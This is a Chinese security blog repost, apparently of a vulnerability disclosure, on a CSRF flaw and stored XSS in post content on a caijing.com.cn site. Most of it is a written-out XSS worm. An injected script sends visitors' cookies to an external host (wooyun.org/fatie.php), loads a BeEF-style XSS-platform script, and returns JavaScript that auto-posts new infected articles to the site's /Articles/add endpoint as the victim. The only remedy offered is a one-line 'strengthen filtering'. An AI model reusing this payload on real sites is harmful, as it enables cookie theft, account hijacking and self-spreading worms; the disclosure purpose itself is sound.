时间: 2020-10-10|tag: 43次围观|0 条评论

蠕虫=XSS+csrf
 

地址:http://tnew.caijing.com.cn/

先看发帖,直接post4个参数,无token验证,导致csrf漏洞。
 

财经网某站XSS蠕虫 – 网站安全 – 自学php网插图

 

财经网某站XSS蠕虫 – 网站安全 – 自学php网插图1

再看存储型XSS,帖子内容未过滤,导致XSS。
 

财经网某站XSS蠕虫 – 网站安全 – 自学php网插图2

 

财经网某站XSS蠕虫 – 网站安全 – 自学php网插图3

接下来进入蠕虫意淫状态:

——————————————————————————————

如果在文章插入<script src='https://wooyun.org/test.js'>

test.js内容为:

//引入自动发帖,传播蠕虫js
document.write('<script src="https://wooyun.org/fatie.php?cookie='+document.cookie+'"><\/script>');
//引入xss收信平台的js文件,如beef
document.write('<script src="https://wooyun.org/xss.js"><\/script>');

这样就会请求自动发帖的js和xss平台的js。

用户访问时网页引入:http://wooyun.org/fatie.php?cookie=(cookie内容)

fatie.php的内容大致可以是这样。

网站cookie中cmstop_username存在用户名,从传输的cookie内容到数据库查询是否第一次中蠕虫,如果是第一次,把用户名写入数据库,防止中蠕虫后重复发帖。网站返回一个执行自动发帖的js动作。返回的js代码大致这样:

//这里文章标题和内容可以用php采集入库,让每个蠕虫感染者发不同的文章继续感染别人
var title = "url编码后的标题内容";
var content = "url编码后的带有xss代码的文章内容";
if (window.XMLHttpRequest) {
  var x = new XMLHttpRequest();
} else {
  var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
  for(var n = 0; n < MSXML.length; n ++) {
    try {
        var objXMLHTTP = new ActiveXObject(MSXML[n]);
        break;
    } catch(e) {
    }
  }
}
objXMLHTTP.open("POST", "http://tnew.caijing.com.cn/Articles/add", false);
objXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
objXMLHTTP.setRequestHeader("Connection", "Keep-Alive");
objXMLHTTP.send("title=" + title + "&content=" + content + "&g_name=%E5%90%90%E6%A7%BD&g_id=4&cate_id=23&cate_name=%E6%97%A0%E4%B8%BB%E9%A2%98");

这样就实现了xss的传播,而且通过不同人只发一个发不同帖子,实现xss蠕虫的隐蔽。

至于xss.js,直接引入xss平台的就行。

 

解决方案:

加强过滤
 

    上一篇: PageAdmin几个设计缺陷导致的安全漏洞及修复 - 网站安全 - 自学php网

    下一篇: php云两处SQL二次注入 - 网站安全 - 自学php网
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《财经网某站XSS蠕虫 – 网站安全 – 自学php网
   

还没有人抢沙发呢~